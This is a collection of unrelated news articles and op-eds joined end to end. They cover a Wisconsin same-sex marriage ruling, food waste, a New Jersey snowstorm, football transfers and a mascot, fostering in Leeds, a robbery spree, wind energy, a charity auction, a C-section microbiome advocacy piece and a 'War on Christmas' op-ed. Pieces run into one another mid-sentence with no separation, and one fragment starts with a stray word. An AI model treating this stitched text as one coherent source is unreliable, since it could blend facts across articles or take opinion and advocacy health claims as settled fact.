Judge Crabb’s Friday order and opinion was 14 pages, but she offered no explanation for her refusal to promptly address the stay issue after her June 6 opinion was released.
In the ongoing national debate over same-sex marriage, some analysts believe that “creating facts” by allowing gay men and lesbians to marry in a state that bans same-sex marriages will make it harder for appeals courts and, ultimately, the US Supreme Court to uphold state-based marriage restrictions.
But others say the practice of rushing through as many marriages as possible under questionable legal authority lends an air of lawlessness and chaos to what is supposed to be a judicial system governed by the rule of law.
In Wisconsin, same-sex couples immediately went to courthouses on June 6 as word of Judge Crabb’s decision spread. In some cases, county clerks agreed to issue licenses, in others the clerks refused because the judge had not yet issued an injunction instructing state officials how to respond to her decision.
After learning of the make-shift weddings shortly after the June 6 decision, state officials contacted Judge Crabb and asked that she issue a clarification. Instead of issuing a clarification, the judge scheduled a hearing for the following Monday – an action that permitted marriages to continue throughout the weekend.
At the Monday hearing, the judge acknowledged that she was aware that weddings were taking place, but she said it was the result of actions by clerks and not anything she had done.
“They may have acted and they may have acted in response, but they did not act because I told them they could,” the judge told lawyers in the hearing. “I never said anything about whether any county clerk could go forward with issuing a marriage license,” she said. “That hasn’t been decided.”
The judge added: “I think it would be remiss of me not to say that I anticipate that there will be a stay in this case simply because that’s what every federal court has done in similar situations and similar rulings.”
Frustrated by the delay, Van Hollen asked a federal appeals court panel in Chicago to issue a stay to prevent further marriages from taking place.
“The court’s action of declaring the challenged provisions of Wisconsin law unconstitutional while postponing a decision on the [state’s] request to preserve the status quo, has opened the door for some county clerks to immediately begin issuing marriage licenses to same-sex couples,” the state said in its brief to the Seventh US Circuit Court of Appeals.
The Wisconsin officials said the judge’s actions and inaction were “conclusively disrupting the status quo that the state defendants sought to preserve.”
The appeals court responded in a brief order that because Judge Crabb had not yet issued an injunction, she had not yet delivered a final opinion eligible for an appeal. The appeals court expressed doubt that it had the requisite jurisdiction to act in the case. The appeal is pending.
Ultimately, county clerks issued marriage licenses in 60 of Wisconsin’s 72 counties over the past week.
Attorney General Van Hollen had announced that clerks are not authorized to issue marriage licenses to same-sex couples until Judge Crabb delivers her injunction. He said officials could be prosecuted for violating Wisconsin law.
Crabb said in her order that if it had been left entirely to her, she would require that her opinion be enforced immediately. But she noted that she could not ignore the Supreme Court’s action in the Utah case.
In addition to the stay, the judge issued an injunction that will instruct Wisconsin officials of how they are to enforce her order if the stay is lifted.
The injunction says state officials are “permanently enjoined from denying a marriage license to a couple because both applicants for the license are the same sex.”
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The injunction also orders Gov. Scott Walker “to treat same-sex couples the same as different sex couples in the context of processing a marriage license or determining the rights, protections, obligations or benefits of marriage.”
The case is Wolf v. Walker (14CV64).Dana Frasz is a food entrepreneur. She wants to recycle food, taking the food that’s not consumed and putting it into the hands of those who cannot afford it. She wants companies to stop wasting so much food – at the grocery story and in restaurants. She wants us all to be aware of how much we’re throwing in the dustbin.
Too idealistic? Frasz would argue otherwise. Hear her talk about her passion – FoodShift.
How much waste is there currently in the United States and how accurate are these figures?
Forty percent of all the food produced in the US is wasted.
This figure is from national experts on food waste – author Jonathan Bloom wrote “American Wasteland: How America Throws Away Nearly Half its Food” and Dana Gunders has been researching this issue at the Natural Resources Defense Council.
What are grocery stores doing currently to prevent food waste? Are there any policies in place to prevent this?
Some grocery stores are donating excess food or marking down the prices of food that is still good but may be past its peak freshness, damaged in some way or cosmetically imperfect. There is a federal policy in place to encourage food donation. It’s called the Good Samaritan Food Act and it was passed specifically to encourage the donation of food. It protects food donors from liability as long as they are donating to a nonprofit. Many food donors can also receive tax deductions for their donations.
What has been the toughest part for you, as an activist and a social entrepreneur, in this effort?
I am really disturbed by the excessive waste and consumption in American culture.
Our materialistic lifestyles in the US have negative social and environmental impacts around the world. Rather than living in harmony with the earth, we are perpetuating a culture that is dependent on exploitation, extraction, and acquisition. Food waste is not only a waste of nutrition, it squanders water, depletes soil, wastes fossil fuels, and adds greatly to the world’s carbon footprint.
What is your solution?
Food Shift is working with Oakland, Calif., schools to ensure surplus food from the cafeteria is redistributed to students and families rather than thrown in the garbage. We are working with a local grocer who has expressed interest in paying Food Shift to recover food from their stores. This would allow us to employ someone in the process while reducing waste disposal costs for the business. We are interested in developing food recovery and redistribution models that increase access to more nutrition food, reduce waste, and generate revenue in some way so they can sustain and scale – like low-cost markets and value-added products.
How feasible is it?
We have trash and recycling removal in this country, why not have a food-recovery service sector that recovers and redistributes surplus food as an extension of our current waste management system?
It may sound crazy, but it is realistic strategy and could create a lot of jobs in the green economy. Generating revenue from food that would otherwise be wasted is possible, but by no means easy. It’s a difficult challenge to ensure food safety, to establish new distribution channels, and to pilot new models that are outside of the current norm.
Why do stores not simply list fresh foods items as 50 percent off at night, an hour or so before closing? That seems to make sense to avoid waste and still make some money.
It makes so much sense – and people love a good deal. Berkeley Bowl estimates it sells $1,500 per day of produce off its bargain shelf, which offers bags of damaged or nearly expired produce for 99 cents. Andronico's Community Markets is running a program with Food Star to sell cosmetically imperfect produce at a low cost, and Zero Percent is a technology that is allowing food establishments to post their surplus through an online application at either a discount or for donation. These are all great innovations that more businesses should adopt to reduce waste, save money, and protect the environment.
Are there models for food waste elsewhere in the world (that you’ve read or seen) that you would like to see implemented here in the US?
The United Kingdom is leading the way on this issue. A campaign there called Love Food Hate Waste has reduced food waste by 18 percent over the course of five years. The UK has also standardized date labels so they are not so confusing for consumers. Many grocery stores there provide storage instructions for fruits and vegetables and informational tips and ads are displayed in over 12,000 stores. Instead of buy-one-get-one-free promotions, some UK stores are piloting a buy-one-give-one-free or get one later program. I also really like Rubbies in the Rubble – a company in the UK making jam and chutney from rescued produce.
What can each person do?
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Become a food waste champion within your family and circle of friends! There are lots of recipes and other tips online. Here is a storage guide.
• This article originally appeared at Dowser.org.EAST RUTHERFORD, NJ - JANUARY 29: New Jersey Gov. Chris Christie speaks at a press conference announcing new objectives to crack down on human and sex trafficking throughout the state of New Jersey, inspired in part by the upcoming Super Bowl, on January 29, 2014 in East Rutherford, New Jersey. Christie Spoke along side New Jersey Attorney General John Hoffman and Cindy McCain, wife of Arizona Senator John McCain. The Super Bowl will be played at MetLife Stadium in East Rutherford, NJ, this Sunday, February 2, 2014. (Photo by Andrew Burton/Getty Images) (Photo by Andrew Burton/Getty Images)
TRENTON, NJ (CBS) – In light of the severe weather, Gov. Christie has declared a State of Emergency in New Jersey.
In addition to the State of Emergency, the Governor also authorized a staggering dismissal for all non-essential state employees beginning at noon.
“Today’s winter storm is expected to produce heavy snow and travel hazards throughout the state, affecting tonight’s evening commute,” said Governor Christie in a release. “I’ve authorized state officials to take all necessary action to prepare, and my Administration will continue monitoring conditions throughout the remainder of the storm. I encourage all New Jerseyans to drive carefully and remain off the roads if possible so that our first responders and public safety officials can safely respond to any emergency situations.”
There was rarely a break from the snow falling in Burlington County Monday.
“It’s getting kind of heavy, it’s piling up pretty quick,” a resident said.
With temperatures not far below freezing it was a slushy, sloppy snow that felt heavy against the shovel and got mixed reviews from drivers in Westampton.
“I-295 is fine, it’s wet. I maintained a good speed, maybe 25 or 30 miles an hour, ” Brian Mulcahy of Westampton said.
In downtown Moorestown, Main Street saw few people out and about.
“I just came out to get a quick workout in,” a resident said.
Some business owners decided it just wasn’t worth it to stay open. Others like Pat McConney, owner of Philly Soft Pretzel Factory, did what they could to draw any customers.
“You shovel, try to get people to at least see that you’re open and invite them in, but enough is enough,” McConney said.
McConney says the winter needs to cut him a break.
“You expect the winter to be slow, but this is just too much. Every week, it’s like when’s the next one coming,” he said.Cork City FC are delighted to announce that Ryan Delaney’s loan spell with the club has been extended.
The defender, who has been in excellent form since arriving on loan from Burton Albion, will now stay at City until the end of the 2017 SSE Airtricity League season.
Commenting on the news, City boss John Caulfield said: “We are delighted to have extended Ryan’s loan until the end of the season. He came in under the radar before the start of the season and he settled in very quickly, having an immediate impact. He has gone from strength to strength and has become a vital cog in our team, as we can see from the clean sheets we have kept.”
“As well as being a key part of our back five, he has also scored important goals for us and everyone can see that he is developing into a tremendous player. To keep him to the end of the season, with our position in the league and Europe coming up, is fantastic news for us. Also, with the disappointing news about Johnny Dunleavy’s injury in mind, it was very important for us to keep Ryan and I am very pleased that we have agreed this deal.”
“I would like to thank Burton Albion, and Nigel Clough in particular, who have been fantastic to deal with, and I hope it is a relationship that we can build on, because Burton are a really good club to deal with.”
“The fact that Ryan came to the club as a player unknown to many people and has just won the Soccer Writer’s Player of the Month award shows how well he has done, and we expect him to kick on now in the second half of the season and have an even bigger impact.”• Germany and England in tiny minority that opposed changes • 'The decision to expand was taken by the vast majority'
Michel Platini has claimed England were one of only three national associations to have opposed expanding the European Championship finals from 16 to 24 teams as the Uefa president outlined his plans to revive the international game.
The qualifying draw for Euro 2016 in France takes place in Nice on Sunday, with England included in the first pot of seeds, ensuring they avoid Germany, Spain, Italy and Holland in the six-team groups. Scotland and Wales are among the fourth seeds, Northern Ireland in the fifth pot, while Martin O'Neill's Republic of Ireland are in the second group of teams.
The decision to expand the finals to 24 teams was first mooted, according to Platini, by Scotland and the Republic of Ireland back in 2007 and passed by the Uefa congress in 2009 in Copenhagen, but has drawn criticism for potentially diluting the quality of the competition. Germany, like England, had objected to the change, with their national manager, Joachim Löw, last week describing the decision as "questionable", both for the finals and in qualification, and added: "The sporting worth of each game and also the overall competition decreases."
"He shouldn't play it then, in that case," said Platini. "The decision [to expand the finals to 24 teams] was taken by the vast majority. Two or three associations – England, Germany, the big ones basically – weren't in favour, but of the 54, 51 actually supported the tournament.
"So, in any democracy, when the vast majority are in favour, you go forward with it even if England or Germany aren't for it.
"We've gone from 16 to 24 teams, and this was a proposal from Ireland and Scotland back in 2007. They'd wanted a 24-team tournament. We can have 24 very good teams, so this tournament can be a success. From seeing the rehearsal draw this morning, I realised there'll be a lot of pressure on teams. There are some very strong teams. The five or six biggest teams don't have much to worry about, but for the others it will be very competitive. So 24 teams will be as good as 16 teams."
Platini suggested Uefa's adoption of their "week of football" scheduling, whereby there will be two rounds of qualifying matches spread over six days from Thursday to Tuesday during Uefa windows, would thrust the international game back into prominence. Teams will play either Thursday and Sunday, Friday and Monday or Saturday and Tuesday if they have back-to-back fixtures.
"'The week of football' is a new concept for national team matches, agreed unanimously by national associations," added Platini. "It was a political decision. National football had been pushed out of the limelight by the club game and, while domestic leagues and the Champions League are wonderful competitions, we want to see the national game take more importance once again."Gay men and lesbians in Leeds have a "key role" in meeting the urgent need for new homes for children in care, the city council has said.
About 80 children are adopted each year in Leeds and about 1,300 are in foster care, according to council figures.
But the number of people taking on children who have been in care is at a 10-year low, Leeds City Council said.
The council said gay and lesbian foster carers and adopters often had the "right mix" of skills and experience.
Councillor Judith Blake, Leeds City Council's executive member responsible for children's services, said lesbian and gay foster carers and adopters had made a "tremendous contribution" towards helping the city provide homes for children and young people.
'Care and support'
"We welcome applications from all potential foster carers and adopters regardless of their sexuality, religion or marital status," she said.
"The main thing is that you are able to give children and young people the care and support they need to be happy and fulfilled."
Leeds City Council said it provided "comprehensive" training and support for its foster carers, including weekly fees and allowances.
Stuart, 28, and Lee, 25, a same sex couple from Leeds who were recently approved as foster carers, said they wanted to "give something back".
Leeds City Council has invited gay men and lesbians considering adoption or fostering to a special event at the South Leeds City Learning Centre, Beeston, at 19:00 GMT on Tuesday to find out more.Hillsborough County deputies have arrested two teenagers accused of carrying out a violent, brazen series of attacks.
Just before 1 a.m. Sunday, Vanessa Martinez says she was coming back to her home at Foxcroft Apartments just off Dale Mabry Highway after making a quick run to the store.
When she got out of her car in the parking lot to walk back to her apartment, she says a man jumped her, grabbed and demanded her purse.
She refused to give it to him and the suspect then called for help. A second man then joined in. The two beat her with a pistol and kicked her, leaving her face badly bruised, cut, and her left eye swollen shut. The men made off with her purse, cell phone, keys, and even the shoes on her feet. Despite all she endured, Martinez says she still counts her blessings, especially that her young son wasn't with her during the attack.
"I'm thankful to be alive because I could've been dead. So I'm thankful that they didn't shoot me. I'd rather take the beating than the shooting," said Martinez.
While deputies were investigating what happened to Martinez, they heard shots being fired in the same apartment complex. The suspects had beaten up another man, stolen his belongings and fired shots into his apartment, hitting his friend in the leg. Neighbors tell us the two had just moved into the apartment Saturday and moved back out Sunday because of what happened.
After the second attack, the teens headed to a neighboring apartment complex where they beat, shot at, and stole from a third victim.
Deputies were able to set up a perimeter and caught both young men.
Nicholas Gillham, 18, and a 16-year-old were both arrested and now face charges including petit theft, aggravated battery, assault and firing into an occupied dwelling.
Deputies say the two were found with many of the items they had stolen, and that the 16-year-old confessed to the crimes.Media playback is unsupported on your device Media caption Turner Prize-winning artist David Shrigley says his new mascot will 'intimidate' the opposition.
Partick Thistle's new mascot Kingsley - designed by Turner Prize-nominated artist David Shrigley - has caused a social media storm on its home debut.
The yellow character was paraded at Firhill Stadium as part of a new deal with US investment firm, Kingsford Capital, thought to be worth £200,000.
The mascot's quirky look soon saw thousands of comments and memes appear on social media sites around the world.
While some backed Kingsley others admitted to finding it "terrifying".
Stuart Drummond, who was the Hartlepool mascot, H'Angus the Monkey, and once even the town's mayor. told BBC Newsbeat Kingsley will bring shame on the good name of mascots.
'Terror mascot'
London-based American PR W1Girl tweeted: "Were I a child this would make me wet my pants".
Image caption The club unveiled a new Shrigley-designed mascot called Kingsley
Thistle unveil 'terrifying' mascot
Image caption David Shrigley has designed the mascot and team logo
Design and technology blog Gizmodo declared: "Partick Thistle's Kingsley is terror mascot-ified".
The verdict of Irish design student Aaron Roles was: "Nightmares are made of this".
Another tweet by shurelyshummishtake said: "Let's see who's brave enough to crack the 'Partick Thistle Nil' jokes now that Kingsley is on the scene".
Numerous posts on Twitter have likened Kingsley to the infant Maggie from The Simpsons.
Others thought of the baby's face in the BBC children's programme Teletubbies while a likeness to Mr Sneeze has also been noted.
Numerous memes have also appeared - even one where Kingsley features in Fifty Shades of Gray.
Not everyone is negative, however. Alistair Potter, deputy editor of The Metro website, tweeted: "It's an early declaration, yes, but Kingsley is the greatest sporting mascot of all time. Thanks Partick Thistle."
Image copyright Kingsford Capital Image caption Shrigley's Kingsford Capital brand
'Demented sun god'
Jd Wenzel's opined: "All hail Kingsley, the demented sun god of Scotland!"
Kingsley was unveiled as a new mascot to mark Partick Thistle's new sponsorship deal with California-based firm, Kingsford Capital.
The deal, for a minimum of two years, will see the Kingsford brand on the Jags' strips and Firhill Stadium.
Glasgow-based artist Shrigley, a Thistle fan, had introduced the club to Kingsford Capital's manager, Mike Wilkins.
Mr Wilkins, who has been described as an art aficionado, and Mr Shrigley, first met several years ago over dinner in San Francisco.
Image caption Kingsford Capital's manager Mike Wilkins arranged the deal
The Californian later decided to support Thistle and made contact with the club's managing director Ian Maxwell.
A formal sponsorship deal was established thought to be worth £200,000 over two years, meaning Kingsford's Shrigley-designed logo will now feature on the front of Thistle's home and away strips for at least the next two seasons.
Mr Wilkins said: "I had been looking for an opportunity to get involved with something like this in the UK for a while but hadn't been able to find the right match.
"When I got talking to David Shrigley about Partick Thistle it seemed like it could be the perfect fit. The next step for me was to speak directly to the club."
Mr Wilkins said his dealings with the club had gone "really well" and helped convince him that "this was an organisation I very much wanted to be involved with".
He added: "I hope that this relationship will become more than just your average sponsorship deal.
'Fantastic club'
"As a commissioner of the Smithsonian American Art Museum in Washington DC, I understand the power of art to communicate a shared spirit.
"It is very much like sport in that regard and, with David's help and genius, I hope we can bring something unique and new to an already fantastic club."
Mr Shrigley said he was honoured to have been involved in the deal.
"I can't wait to see my design on the front of the shirts and around Firhill and just hope the fans like what we're trying to do," he said.
"It's safe to say we have a few surprises in store for the supporters and we're already in talks with a few other artists to arrange some pretty exciting giveaways over the course of the season."
Thistle's managing director described the link-up with Kingsford as "a real coup".
"It has been part of our long-term strategy to begin attracting new sources of funding to the club and this is a fantastic way to start," said Mr Maxwell.
"We need to look at how to attract new people to football in Scotland, both in terms of funding and in terms of supporters, and some of the ideas that Mike and David have already brought to the table are really interesting.
"Partick Thistle is much more than just a football club and I certainly hope that this partnership too will turn into much more than just a sponsorship deal in the weeks, months and years to come."In a very real sense, Clemson's embrace of wind energy has been something of a shift in direction from the distant past to the near the future.
When the City of North Charleston and the Charleston Naval Complex Redevelopment gave a piece of the old Navy Yard site to Clemson University, the primary focus of the campus was to be on metals conservation work being done on the C.S.S. Hunley, a Confederate submarine that sank after blowing up a Union warship off Charleston's coast. Instead, the Clemson University Restoration Institute broke ground Thursday on a $98 million wind turbine drive train facility.
"This institute was clearly seen as an economic engine," says Elizabeth Colbert-Busch, the institute's director of business development. "So the intellectual brainpower at Clemson said, 'OK, we know where the economy is going, and we know that the number one concern in the world is energy and the second is water. How do we make a meaningful contribution while also advancing our mission as a land-grant university responsible for outreach, research, and economic development?'"
Development of the facility is being funded through a $45 million grant from the U.S. Department of Energy and an additional $53 million in private donations. Within days of announcing plans for a testing facility last November, IMO Group, a German company that makes wind turbine parts, announced it was opening a plant in North Charleston that would create 190 jobs.
But Colbert-Busch boldly predicted thousand more jobs may be just around the corner as the Institute's 100-plus acre campus on the site of the former Charleston Navy Base becomes, in her words, "One of the most important sites for wind energy research and development in the country."
Speaking with an almost evangelical passion, Colbert-Busch talked of how the history of the world is the history of prosperity following energy and water.
"Offshore wind farms are going to be important to all of our energy futures, but the ultimate prize is getting into the manufacturing end of the industry, to sustain our local workforce and the local economy," she said. "We fully expect the drive train test facility to be the focal point of a renewable energy cluster here."
In terms of the anticipated long-term impact, the institute likes to benchmark itself against Denmark, a nation that's roughly the size of South Carolina, at about the same latitude, and has a large wind-energy sector in its economy.
"They say they've created 30,000 to 40,000 direct jobs through the growth of that energy, and while I wouldn't be so bold as to suggest we'd create that many jobs, I certainly don't think 20,000 wind power jobs are out of the question in the long run," Colbert-Busch said.
The testing facility will be housed in a former Navy warehouse adjacent to existing rail and nearby port transportation, and it could test the largest wind turbine drive train systems currently in development.
Already the institute has tapped about 90 percent of the world's top wind turbine manufacturers to serve on its industrial advisory board, Colbert-Busch said.
"They all came to Charleston, saw what we are planning, and the reaction, quite honestly, was 'Whoa... South Carolina has never been on our radar screen, but it certainly is now,'" she said.
"IMO Group's commitment to the region is just the start; there's no doubt in my mind that it's the beginning of the cluster," she added
Immediately adjacent to the turbine testing facility, 111 acres are primed for redevelopment by the industry. And Colbert-Busch said Clemson's research plans don't begin and end with the turbine facility. The rendering of the site that hangs in her offices also denotes the potential location for a wind turbine blade testing facility.
"It's a way to combine this research without advanced materials work," she said. "And who wouldn't want to test all of your components in one place before shipping them directly to a wind farm in the North Sea or along the U.S. East Coast?"
Some Wind Energy Possible Off Palmetto Coast
Enough wind is blowing off of the South Carolina coast to provide electricity to hundreds of thousands of homes, according to panelists at a recent wind-energy symposium — the only catch is that the wind is only available "some of the time."
The forum came on the heels of a Palmetto Wind Research study of wind at six buoys off the coast near Georgetown and Myrtle Beach. The buoys have measured wind speed, direction, and frequency at stations up to six miles out into the ocean. Santee Cooper is using the data to assess the feasibility of building 40 wind turbines off the South Carolina coast.
According to Elizabeth Kress, the utility's renewable energy director, the findings suggest a wind turbine farm at those locations could generate one to five gigawatts of electricity, enough to justify continued exploration of a wind-powered future.
The next step will be to build a demonstration wind turbine to confirm the initial findings, says Paul Gayes, Center for Marine and Wetlands Study director at Coastal Carolina University. And time is of the essence, he says, especially if South Carolina wants to reap the ancillary benefits of renewable energy production.
"The states that are 'first in' would get the economic benefits," Gayes says of the manufacturing base for wind power and skilled workers that would come with the industry. States that get in renewable energy early would have a better chance of attracting companies that manufacture, assemble, install, or service wind turbines, blades, cables, and wind-turbine foundations, he said.
Nicholas Rigas, director and chief scientist of the new wind-turbine test lab at the Clemson University Restoration Institute, agreed, pointing out that several coastal states are offering initiatives to promote the industry along their water-facing borders.
To date, 10 states along the eastern seaboard have passed laws requiring utilities to generate a certain amount of their electricity from renewable sources within the next five to 20 years, according to the S.C. Seagrant Consortium. At the same time, 14 more states around the country, plus the District of Columbia, have established quotas (called "renewable portfolio standards") that are spurring utilities to develop indigenous sources of clean power such as wind and sun, according to the Consortium.
South Carolina has not passed a renewable portfolio standard. But Santee Cooper has adopted a goal of producing 40 percent of its electricity in the next 10 years from non-carbon fuel sources.
But winds can be fickle and location is everything. |
indictments.
On the other hand, prosecution in the ICC could be nearing for Hamas for the alleged war crimes it committed during the war, including the targeting of civilians by rocket fire and the killings of so-called collaborators. The UN Human Rights Council report revealed the Islamic movement that rules Gaza does not have any system of internal review, which is the only mechanism that could outright block the ICC from opening charges. As a result, Hamas is currently more exposed to the long arm of the ICC than Israel.A gory death at the hands of Game of Thrones mastermind George R.R. Martin can be yours for the one-time price of $20,000. The death will, of course, be of the text-only variety.
The honor is reserved for a top-tier donator on Martin's Prizeo crowdfunding campaign, raising money to support the Wild Spirit Wolf Sanctuary and Food Depot in Martin's adopted hometown of Santa Fe, New Mexico. The winner will choose their character's position in the fictional world (lordling, maester, peasant, whore, etc.) and meet a grisly death that could rival the Red Wedding.
George R.R. Martin interacts with a wolf in the WIld Spirit Wolf Sanctuary in Candy Kitchen, New Mexico. Image: Prizeo for Mashable
If you don't have $20,000 on hand, don't worry. Everyone who donates any amount is automatically entered to win a tour of the wolf sanctuary and take a helicopter ride with the author/murderer-of-all-hopes-and-dreams himself. Other donation tiers include signed maps of Westeros, show scripts and Martin's own hat.
Martin and his wife, Parris McBride, have donated money and helped raise funds for the wolf sanctuary for several years. The sanctuary now houses more than 60 wolves and wolf-dogs, including a pack of nine named after the warring continent of Westeros featured in Martin's A Song of Ice and Fire series.
George R.R. Martin speaks with Leyton Cougar, director of the Wild Spirit Wolf Sanctuary in Candy Kitchen, New Mexico. Image: Prizeo for Mashable
Martin describes his love for wolves on the donation page, writing:
"I've always been fond of wolves... direwolves in Westeros, and real wolves in the real world. US wolf populations hit critical lows during the twentieth century, and finding a way for humans to co-exist with this majestic creatures is an important part of the conservation movement."
All men must donate.When a mother gives birth vaginally and if she breastfeeds, she passes on colonies of essential microbes to her baby. This continues a chain of maternal heritage that stretches through female ancestry for thousands of generations, if all have been vaginally born and breastfed.
This means a child’s microbiome, that is the trillions of microorganisms that live on and in him or her, will resemble the microbiome of his/her mother, the grandmother, the great-grandmother and so on, if all have been vaginally born and breastfed.
This transgenerational microbial legacy begins in pregnancy.
To use an analogy, pregnancy sets the conditions for a big party to take place in the baby’s gut. This once-in-a-lifetime event is open to everyone, but especially welcome are the VIP guests, the mother’s vaginal, gut and breast milk microorganisms.
During pregnancy, the baby is mostly protected from harmful microorganisms by the amniotic sac, but recent research suggests the baby could be exposed to small quantities of microbes from the placenta, amniotic fluid, umbilical cord blood and fetal membranes. One theory is that any possible prenatal exposure could ‘pre-seed’ the infant microbiome. In other words, to set the right conditions for the ‘main seeding event’ for founding the infant microbiome.
As soon as the mother’s waters break, this is the moment the party doors swing open, the stereo is switched on and the first VIP party guests flood in. Suddenly the baby is exposed to a wave of the mother’s vaginal microbes that wash over the baby in the birth canal. They coat the baby’s skin, and enter the baby’s eyes, ears, nose and some are swallowed to be sent down into the gut. More VIP guests in the form of the mother’s gut microbes join the colonisation party through contact with the mother’s faecal matter. Many more microbes come from every breath, from every touch including skin-to-skin contact with the mother and of course, from breastfeeding.
Inside breast milk, you have special sugars called human milk oligosaccharides (HMO’s) that are indigestible by the baby. These sugars are designed to feed the mother’s VIP microbes newly arrived in the baby’s gut.
The HMO’s feed the party guests, fuelling the party spirit, so that the microbes quickly multiply. By multiplying quickly, the ‘good’ VIP bacteria crowd out any potentially harmful gate-crashing pathogens. These ‘good’ bacteria help train the baby’s naive immune system, teaching it to identify what is friend to be tolerated, what is pathogen to be attacked. In other words, the mother’s bacteria teach security who to keep in the party, and who to eject. If the party gets off to a great start, and the chain of maternal heritage continues, this leads to the optimal training of the infant immune system resulting in a child’s best possible lifelong health.
With C-section and formula feeding, the baby is not likely to acquire the full complement of the mother’s vaginal, gut and breast milk microbes. Therefore, the baby’s microbiome is not likely to closely resemble the mother’s microbiome. A baby born by C-section is likely to have a different microbiome from its mother, its grandmother, its great-grandmother and so on. C-section breaks the chain of maternal heritage and this break can never be restored. From that moment on, a different set of microbes will be passed on to that child’s child, to that child’s grandchild, and great-grandchild and so on.
Returning to the party analogy, there’s a different crowd at the gut colonisation party with a baby born by C-section. You’ll still have the party guests coming from the air and from every touch, but at least with elective C-section, you won’t have the VIP party guests from the mother’s vagina and gut. (With emergency C-section, there might be some exposure to the mother’s vaginal microbes during labor if the waters have broken prior to surgery.)
In nine recent cohort studies,* the microbial profiles of babies born by C-section have a lower abundance of the species Bacteroides than vaginally born babies. A very recent study published by Chu. D et al., in Nature Medicine 2017, also shows this lower abundance of Bacteroides in their cladograms and heatmaps, but the researchers chose not to report this data in numbers.
What does an altered microbiome mean for a child’s lifelong health? Causation is still to be proven, but many studies link C-section with a significantly increased risk for developing asthma, Type 1 diabetes, celiac disease and obesity.
With formula feeding, the baby won’t receive the 700 species of microbes found in breast milk. The baby also won’t receive the human milk oligosaccharides that provide the perfect food to feed the microbes newly arrived from the mother‘s vagina and gut (if vaginally born). Plus, formula milk is likely to contain other bacteria that are not supposed to be there, for these might interfere with the optimal training of the immune system, with consequences for a child’s lifelong health.
Over the past five years, through co-directing the award-winning documentary MICROBIRTH and through co-authoring the book, YOUR BABY’S MICROBIOME, I’ve interviewed dozens of world-leading professors about their research. Scientists might not yet have all the pieces, but the picture that is forming is that C-section and formula feeding could be significantly impacting the health of the next generation. Through the transgenerational aspect to birth, it could even be impacting the health of future generations.
In other words, we risk breaking the chain of maternal heritage at our peril.
References
*Nine Cohort studies showing consistency of low abundance of Bacteroides for babies born by C-section: Jakobsson et al. 2014, Azad et al. 2016, Hesla et al. 2014, Backhed et al. 2015, Penders et al. 2013, Madan et al. 2016, Dogra et al. 2015, Martin et al. 2016, Yassour, et al. 2016
The Completed Self: An Immunological View of the Human-Microbiome Superorganism and Risk of Chronic Diseases. Dietert, Rodney R., and Janice M. Dietert. Entropy 14 (2012): 2036–65, doi:10.3390/e14112036.
The Infant Microbiome Development: Mom Matters Noel T. Mueller, Elizabeth Bakacs, Joan Combellick, Zoya Grigoryan, and Maria G. Dominguez-Bello, Trends in Molecular Medicine 21, no. 2 (January 8, 2015): 109–17, doi:10.1016/j. molmed.2014.12.002.
The Placenta Harbors a Unique Microbiome Kjersti Aagaard, Jun Ma, Kathleen M. Antony, Radhika Ganu, Joseph Petrosino, and James Versalovic, Science Translational Medicine 6, no. 237 (May 21, 2014): 237ra65, doi:10.1126/ scitranslmed.3008599.
CHILD Study Investigators. Impact of maternal intrapartum antibiotics, method of birth and breastfeeding on gut microbiota during the first year of life: a prospective cohort study. Azad MB, Konya T, Persaud RR, Guttman DS, Chari RS, Field CJ, Sears MR, Mandhane PJ, Turvey SE, Subbarao P, Becker AB, Scott JA, Kozyrskyj AL, BJOG : an international journal of obstetrics and gynaecology. 2016; 123(6): 983-993.
Maturation of the infant microbiome community structure and function across multiple body sites and in relation to mode of delivery Derrick M Chu, Jun Ma, Amanda L Price, Kathleen M Anthony, Maxim D Seferovic & Kjersti M Aagard, Nature Medicine (2017) doi:10.1038/nm.4272The New York Times recently published an article purporting to trace the history of the “War on Christmas.” The article concludes that “there is no evidence of an organized attack on Christmas in the United States,” and expressed skepticism about the “alleged liberal antagonism toward the holiday.”
As the author would tell it, Fox News host Bill O’Reilly stirred up the passions of his viewers based on a book written in 2005 by another Fox News host, John Gibson, entitled “The War on Christmas.”
John Gibson interviewed me for that book, and I detailed the legal battles I and others had fought against Christmas censorship from the mid-1980s. I even wrote a book in 1987 on the topic that detailed ongoing efforts to suppress celebrating or observing the religious aspects of Christmas – the birth of Jesus Christ.
I can confidently say that the “War on Christmas” was not concocted by people at Fox News in 2005. It really happened. I know because I was there.
Here are three ways the New York Times article got it wrong about the “War on Christmas”:
1. The “War On Christmas” is real, and started well before Fox News even existed
Here’s just one example. When I worked at Concerned Women for America, we litigated a case against the Seminole County, Florida School District in 1985 in which officials at the Tuscawilla Middle School removed the songs, “Silent Night” and “Hanukkah Dance” from the middle school choir concert on the objection of one parent.
Officials at another school in the same district at a different school stopped a second grader, Olivia Myers, from passing out homemade Christmas cards to her classmates because they had a sticker of Jesus on them.
At another middle school in the district, the PTA sponsored a contest to decorate classroom doors. The two students selected to create the art for one classroom door chose a nativity scene of Jesus’ birth, and the teacher ordered it removed because of perceived Establishment Clause concerns.
Just before trial, we settled the case out of court with the school district changing its policy to allow school music programs to “contain music that is religious in nature.” It also allowed the school to “use themes traditionally associated with a particular holiday season” and to allow classroom displays of religious themes if they were not prompted by the teacher and contained nonreligious symbols. And the school paid some monetary damages to the students involved.
I litigated this case. It was not made up by Fox News (which did not exist until 1996) or by anyone else. And this is not an isolated incident. The ACLU and its allies provoked many more examples of Christmas censorship with its lawsuits.
2. The ACLU filed numerous lawsuits to suppress public observances of Christmas
Beginning in the 1970’s, the American Civil Liberties Union (ACLU) has filed many lawsuits to stop Christmas observances in public schools, city halls, and other governmental entities. The New York Times quotes a carefully worded statement by an ACLU spokesperson that downplays the concerted efforts the ACLU and its allies engaged in to censor Christmas in public venues in the past. The ACLU’s efforts were real and systematic. They created an atmosphere of fear and intimidation and disinformation about what the law said about Christmas.
The ACLU has filed suit to keep school districts from singing religious Christmas carols. It has also filed suits to prevent the display of nativity scenes and other Christmas symbols like a Christmas tree and a menorah.
The ACLU lost a major case it filed in 1980 to eliminate the singing of religious Christmas carols in public schools. A federal appeals court ruled that singing religious songs could have a legitimate pedagogical purpose in a public school. In fact, there is no court decision anywhere that says it is unconstitutional to sing religious songs, including Christmas carols, in public schools. Yet many people wrongly believe that. When I spoke about this topic, I would carry a copy of the court decision ruling against the ACLU’s extreme views to show disbelieving audience members that it existed.
